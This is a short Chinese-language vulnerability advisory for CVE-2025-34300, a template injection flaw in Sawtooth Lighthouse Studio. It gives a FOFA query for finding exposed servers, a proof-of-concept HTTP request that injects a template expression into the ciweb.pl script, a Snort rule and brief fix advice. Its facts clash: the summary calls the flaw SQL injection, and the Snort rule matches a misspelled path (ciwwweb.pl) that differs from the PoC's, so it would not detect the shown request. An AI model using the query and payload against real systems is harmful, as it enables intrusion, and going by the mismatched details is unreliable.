

SawtoothSoftware-CVE-2025-34300-模板注入

SawtoothSoftware-CVE-2025-34300-模板注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

SawtoothSoftware Lighthouse Studio < 9.16.14

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="Lighthouse Studio"

POC/EXP:

```
GET /cgi-bin/ciweb.pl?hid_javascript=1&hid_Random_ACARAT=[%259999*9999%25]&hid_Random_ACARAT=x HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (ZZ; Linux i686; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Accept-Encoding: gzip
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Sawtooth CIW - Template Injection via ciwwweb.pl (CVE-2025-34300)";  
  flow:to_server,established;  
  content:"GET"; http_method;  
  content:"/cgi-bin/ciwwweb.pl"; http_uri;  
  content:"hid_Random_ACARAT="; http_uri;  
  pcre:"/hid_Random_ACARAT=\\[%25\\d+\\*\\d+%25\\]/i";  
  metadata:cve CVE-2025-34300;  
  metadata:affected_product "Sawtooth CIweb";  
  metadata:vulnerability_type "Server-Side Template Injection";  
  classtype:web-application-attack;  
  sid:1000356;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。